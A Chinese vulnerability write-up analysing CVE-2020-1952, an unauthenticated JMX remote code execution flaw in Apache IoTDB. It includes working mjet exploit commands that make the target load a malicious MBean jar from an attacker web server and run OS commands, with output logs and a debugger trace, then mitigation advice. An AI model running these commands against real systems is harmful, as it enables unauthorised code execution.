Apache IoTDB 远程代码执行(CVE-2020-1952)分析
作者:hu4wufu@白帽汇安全研究院
核对:r4v3zn@白帽汇安全研究院
前言
JMX
JMX
(Java Management Extensions
)是一种Java
技术,主要为管理和监视应用程序、系统对象、设备(如打印机)和面向服务的网络提供相应的工具。也就是java
版本的SNMP
(简单网络管理协议),JMX
与SNMP
另一个共同点就是,JMX
不仅能远程系统读取值,还可以用于调用远程系统的方法。
我们可以看一下整体架构:
从上面的架构图可以看到JMX主要分三层,分别是:
1、设备层(Instrumentation Level
)
主要定义了信息模型。在JMX
中,各种管理对象以管理构件的形式存在,需要管理时,向MBean
服务器进行注册。该层还定义了通知机制以及一些辅助元数据类。
设备层其实就是和被管设备通信的模块,对于上层的管理者来说,Instrumentation
就是设备,具体设备如何通信,是采用SNMP
,还是采用ICMP
,是MBean
的事情。
该层定义了如何实现JMX
管理资源的规范。一个JMX
管理资源可以是一个Java
应用、一个服务或一个设备,它们可以用Java
开发,或者至少能用Java
进行包装,并且能被置入JMX
框架中,从而成为JMX
的一个管理构件(Managed Bean
),简称MBean
。管理构件可以是标准的,也可以是动态的,标准的管理构件遵从JavaBeans
构件的设计模式;动态的管理构件遵从特定的接口,提供了更大的灵活性。
在JMX
规范中,管理构件定义如下:它是一个能代表管理资源的Java
对象,遵从一定的设计模式,还需实现该规范定义的特定的接口。该定义了保证了所有的管理构件以一种标准的方式来表示被管理资源。
管理接口就是被管理资源暴露出的一些信息,通过对这些信息的修改就能控制被管理资源。一个管理构件的管理接口包括:
1) 能被接触的属性值
2) 能够执行的操作
3) 能发出的通知事件
4) 管理构件的构建器
Standard MBean
是最简单的MBean
,它管理的资源必须定义在接口中,然后MBean
必须实现这个接口。它的命名也必须遵循一定的规范,例如我们的MBean
为Hello
,则接口必须为HelloMBean
。
2、代理层(Agent Level
)
Agent
层 用来管理相应的资源,并且为远端用户提供访问的接口。Agent
层构建在设备层之上,并且使用并管理设备层内部描述的组件。Agent
层主要定义了各种服务以及通信模型。该层的核心是 MBeanServer
,所有的MBean
都要向它注册,才能被管理。注册在MBeanServer
上的MBean
并不直接和远程应用程序进行通信,他们通过 协议适配器(Adapter) 和 连接器(Connector
) 进行通信。通常Agent
由一个MBeanServer
和多个系统服务组成。JMX Agent
并不关心它所管理的资源是什么。
3、分布服务层(Distributed Service Level
)
分布服务层关心Agent
如何被远端用户访问的细节。它定义了一系列用来访问Agent
的接口和组件,包括Adapter
和Connector
的描述。
MBean
利用JMX
,我们可以像托管bean
一样来管理各种资源。托管bean
(MBean
)是遵循JMX
标准的某些设计规则的Java Bean
类。MBean
可以表示设备、应用程序或需要通过JMX
管理的任何资源。您可以通过JMX
来访问这些MBean
,比如查询属性和调用Bean
方法。
并不是所有的java
类都能被管理,只有按照特定格式编写的java
类才能被JMX
管理。这种特定格式机制我们称为MBean
。
JMX
标准在不同的MBean
类型之间有所差异,但是,我们这里只处理标准MBean
。为了成为有效的MBean
,Java
类必须:
- 实现一个接口
- 提供默认的构造函数(不带任何参数)
- 遵循某些命名约定,例如实现
getter/setter
方法来读/写属性
创建一个MBean
,首先需要定义一个接口。下面给出一个最简单的MBean
示例:
package de.mogwailabs.MBeans;
public interface HelloMBean {
// getter and setter for the attribute "name"
public String getName();
public void setName(String newName);
// Bean method "sayHello"
public String sayHello();
}
下一步是为已定义的接口提供一个实现。注意,其名称应该始终与接口保持一致,除掉后缀“MBean”
部分。
package de.mogwailabs.MBeans;
public class Hello implements HelloMBean {
private String name = "MOGWAI LABS";
// getter/setter for the "name" attribute
public String getName() { return this.name; }
public void setName(String newName) { this.name = newName; }
// Methods
public String sayHello() { return "hello: " + name; }
}
MBean服务器
MBean
服务器是一种管理系统MBean
的服务。开发人员可以按照特定的命名模式在服务器中注册MBean
。MBean
服务器将传入的消息转发给已注册的MBean
。该服务还负责将消息从MBean
转发给外部组件。
默认情况下,每个Java
进程都会运行一个MBean
服务器服务,我们可以通过ManagementFactory.getPlatformMBeanServer();
来访问它。下面给出的示例代码将“连接”到当前进程的MBean
服务器,并打印输出所有已注册的MBean
:
package de.mogwailabs.MBeanClient;
import java.lang.management.ManagementFactory;
import javax.management.*;
public class MBeanClient {
publicstatic void main(String[] args) throws Exception {
// Connect to the MBean server of the current Java process
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
System.out.println( server.getMBeanCount() );
// Print out each registered MBean
for ( ob ject ob ject :server.queryMBeans(new ob jectName("*:*"), null) ) {
System.out.println( ((ob jectInstance)ob ject).getob jectName() );
}
}
}
要想创建可以通过MBean
服务器供外部调用的MBean
实例,则需要使用ob jectName
类完成相应的注册。每个MBean
的名称,不仅要遵循对象命名约定,同时,还必须是独一无二的。名称分为域(通常是包)名和对象名两个部分。对象名称应包含“type”
属性。如果给定域中只能有一个给定类型的实例,那么除了type
属性之外,通常不应该有任何其他属性。
对于已经实现的MBean
,我们需要MBeanServer
。可以将MBeanServer
理解为一个MBean
的仓库,需要监控的MBean
都需要先注册到仓库中。向MBeanServer
注册MBean
有两种方式,一是本地注册,二是远程注册。远程注册就为我们执行任意代码提供了可能。然后jdk
有一些MBean
,其中有一个MBean
叫mlet
。让我们能够在本地向远端注册MBean
。
漏洞概况
在Apache IoTDB 0.9.0
到0.9.1
和0.8.0
到0.8.2
中发现了一个问题。在启动IoTDB
时,JMX
端口31999
无需任何认证即可暴露,然后客户端可以远程执行代码。
这个漏洞原理是基于RMI
的JMX
服务,攻击者可以远程注册一个恶意的 MBean
,再去调用里面的用于执行命令的方法达到攻击效果。
首先是MBeanServer
提供了一套远程注册MBean
的机制,本地向MBeanserver
注册一个MBean
,也就是Mlet
,Mlet
是实现了一个函数getMBeansFromURL(url)
,这个函数能够加载并实例化我们指定的远程MBean
,从而导致了我们的恶意payloadMBean
被加载注册到MBeanServer
上,导致任意命令执行。
然后让目标机远程加载我们部署的恶意MBean
,并在目标机上创建这个MBean
,然后就可以用JMX
协议控制这个恶意的MBean
,通过Runtime
类的exec
方法执行命令。
环境准备
测试环境:JDK 1.8.0_131
、jython2.7.0
、apache-iotdb-0.9.0
iotdb
下载地址:https://archive.apache.org/dist/incubator/iotdb/
poc
下载地址:https://github.com/mogwailabs/mjet
这里iotdb
可以下载源码调试,本文采取的是远程调试。
sbin
目录下的start-server.sh
配置:
idea
配置:
这里poc
使用了jython
的环境进行调试,先在历史版本下载所需要的jython
的版本。
下载地址:https://search.maven.org/artifact/org.python/jython-installer
然后安装后配置idea
,为Jython
项目配置环境。打开idea
,打开Preferences
在Plugins
下,搜索安装插件python
,点击install
:
然后就可以创建jython
项目了。
我们将恶意的jar
包和mejt.py
拷贝进去。
配置poc
如下:
漏洞复现
poc:
java -jar jython-standalone-2.7.0.jar mjet.py 10.10.10.182 31999 install super_secret http://10.10.10.182:8000/ 8000
java -jar jython-standalone-2.7.0.jar mjet.py 127.0.0.1 31999 command super_secret "ls -l"
首先部署恶意MBean
,第一个ip
是易受攻击者ip
,运行着易受攻击的JMX
服务,第二个ip
是攻击者的ip
,JMX
服务将连接到攻击者的Web
服务,以下载有效载荷jar
文件,mjet
将在端口8000
上启动必要的Web
服务。
成功安装MBean
后,默认密码将改为命令行提供的密码super_secret
hu4wufu@bogon mjet-master % java -jar jython-standalone-2.7.0.jar mjet.py 10.10.10.182 31999 install super_secret http://10.10.10.182:8000/ 8000
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.10.10.182:31999/jmxrmi
[+] Connected: rmi://10.10.10.182 2
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.10.10.182:8000/
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.10.10.182 - - [10/Sep/2020 15:55:33] "GET / HTTP/1.1" 200 -
10.10.10.182 - - [10/Sep/2020 15:55:33] "GET /azmzjazz.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
安装有效负载后,我们执行OS
命令,在目标中运行命令“ls -l”
hu4wufu@bogon mjet-master % java -jar jython-standalone-2.7.0.jar mjet.py 127.0.0.1 31999 command super_secret "ls -l"
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://127.0.0.1:31999/jmxrmi
[+] Connected: rmi://10.10.10.182 3
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -l
total 56
drwxr-xr-x@ 3 hu4wufu staff 96 9 7 21:43 data
-rw------- 1 hu4wufu staff 165 9 7 15:02 nohup.out
-rwx------@ 1 hu4wufu staff 2002 11 20 2019 start-client.bat
-rwx------@ 1 hu4wufu staff 1556 9 8 18:14 start-client.sh
-rwx------@ 1 hu4wufu staff 3126 9 8 16:36 start-server.bat
-rwx------@ 1 hu4wufu staff 2054 9 9 14:41 start-server.sh
-rwx------ 1 hu4wufu staff 1034 8 26 2019 stop-server.bat
-rwx------ 1 hu4wufu staff 999 8 26 2019 stop-server.sh
漏洞分析
我们先来看一下远程注册MBean
的过程,这里payload
使用的是jython
环境。
首先来解释一下poc
,每一个MBean
都需要实现一个接口,而且这个接口的命名是有讲究的,必须以MBean
结尾,例如这里是编写了一个MogwailLabsPayloadMBean
接口,然后我们需要实现这个MBean
,同样这个实现的命名是去掉对应接口的的MBean
后缀,也就是MogwailLabsPayload
。在MogwailLabsPayload
里边的方法,我们注册到MBeanServer
后面可以随便调用。
根据poc
,我们来看一下mjet.py
的installMode()
函数,往JMX
里边注册mjet
。
跟进installMode()
函数,开始连接JMX
服务。
跟进connectToJMX()
函数,这里首先创建SSL
连接,然后判断jmxmp
的类型,这里可知是jxmrmi
,然后就是确定JMX
的地址和端口。这里一开始将我们设置的参数带入,包括设置的密码,以及payload
的url
地址和端口,还有就是就是JMX
服务地址和端口。
bean_server
创建结束,主要作用是与iotDB
里边的JMX
通信。
接下来跟进去mjet.py
的installMBean()
函数,这里JMX
开始在目标服务器上创建MBeanjavax.management.loading.MLet
的实例,(然后调用MLet
实例的getMBeansFromURL
方法,将Web
服务器URL
作为参数进行传递。JMX
服务将连接到http
服务器装载的恶意MBean
对象,也就是事先准备好的MogwaiLabsPayload
。每个MBean
都需要都需要一个接口,而且这个接口的命名必须要以MBean
结尾。
开始加载远程的一个恶意的MBean
。进行一个远程的方法调用,创建一个javax.management.loading.MLet
的类对象。
我们跳到了iotDB
里边,来看一下如何创建一个的MLet
,最早是调用了javax.management.remote.rmi.RMIConnectionImpl:239$createMBean()
方法
可以看到传递过来的方法对象,以及rmi
服务地址。
我们进入javax.managment.remote.rmi.RMIConnectionImpl:1309$doOperation()
,接下来就是对参数进行操作。
跟进去doOperation()
方法,operation
为3
,调用MBeanServer.createMBean()
方法。
直接跟进javax.management.loading.MLet.java
,调用mlet
的构造方法,开始实例化一个Mlet
的对象。
加载完成javax.management.loading.MLet
,开始调用MBean
实例的getMBeansFromURL
方法,将Web
服务器URL
作为参数进行传递。JMX
服务将从存放恶意类的http
服务器上解析恶意的MBean
,装载恶意的MBean
对象,也就是事先准备好的MogwaiLabsPayload
。
同样进行javax.management.remote.rmi.RMIConnectionImpl$PrivilegedOperation
的操作,跟进,我们跟到javax.management.remote.rmi.RMIConnectionImpl$doOperation()
,这里获取MBeanServer的getdefaultdomain()
,也就是返回MBean
的默认域。
com.sun.jmx.interceptor.DefaultMBeanServerInterceptor:1088
,这里MLet
指定的MBean
被实例化,并在MBean
服务器中注册。
最终在com.sun.jmx.mbeanserver.Repository:489
注册了类型为Mlet
的恶意的MBean
。
operation
为14
即javax.management.remote.rmi.RMIConnectionImpl:1468
然后远程调用Mlet
的getMBeansFromURL
方法。
com.sun.jmx.mbeanserver.JmxMBeanServer:801
成功加载恶意的MBean
。
接着往下,根据poc
,开始修改默认密码为一开始命令行输入的参数。
javax.management.remote.rmi.RMIConnectionImpl$doOperation:1468
同样先获取恶意MBean
的实例,反射调用远程方法,这里是MogwaiLabsPayload
的changePassword
方法。
开始在MBeanServer
的注册中心检索名称为MogwaiLabs
的对象,也就是我们之前加载进去的恶意MBean
。
至此,恶意的MBean
已经加载到服务器上,恶意MBean
可通过JMX
获取,攻击者可通过密码执行任意命令。
接下来我们来看下命令执行的过程,首先连接JMX
服务,传入要执行的命令和之前设置的密码。
然后调用getob jectInstance()
创建之前加载的恶意类的实例。
然后反射远程调用任意方法,这里调用的是MogwaiLabsPayload
的runCMD
方法。
最终在调用ProcessBuilder()
方法执行系统命令。
总结
JMX
漏洞是一个通用型漏洞,如果遇到java
系统开启JMX
服务的都可以使用该漏洞poc
测试一下。
在iotDB
的0.9.2
版本以后是默认设置JMX_LOCAL="true"
关闭远程访问,当想开启远程连接的时候,JMX_local
改成false
,这时候就采用用户名密码控制。
所以启用身份验证来保护JMX
服务是非常重要的,否则的话,JMX
服务就很容易被攻击者入侵。实际上,JMX
自身已经提供了这种功能,包括对TLS
加密连接的支持。
除了启用身份验证之外,还应该确保JDK
环境是最新的,因为攻击者可能会尝试使用Java
反序列化漏洞来利用底层RMI
实现;如果没有及时更新的话,启用了身份验证也无济于事。
参考
- https://nosec.org/home/detail/2544.html
- https://github.com/mogwailabs/mjet
- https://github.com/k1n9/k1n9.github.io/blob/aeeb609fe6a25d67bc2dc5f990a501368fb25409/_posts/2017-08-24-attack-jmx-rmi.md
- https://webcache.googleusercontent.com/search?q=cache%3Ahttps%3A%2F%2Fwww.optiv.com%2Fblog%2Fexploiting-jmx-rmi&oq=cache%3Ahttps%3A%2F%2Fwww.optiv.com%2Fblog%2Fexploiting-jmx-rmi&aqs=chrome%E2%80%A669i57j69i58.1641j0j7&sourceid=chrome&ie=UTF-8
- https://github.com/Maskhe/vuls/tree/master/apache_solr/cve-2019-12409
- https://mp.weixin.qq.com/s/FtXFO1m0me4WErvj141nQQ
- https://www.cnblogs.com/trust-freedom/p/6842332.html
最新评论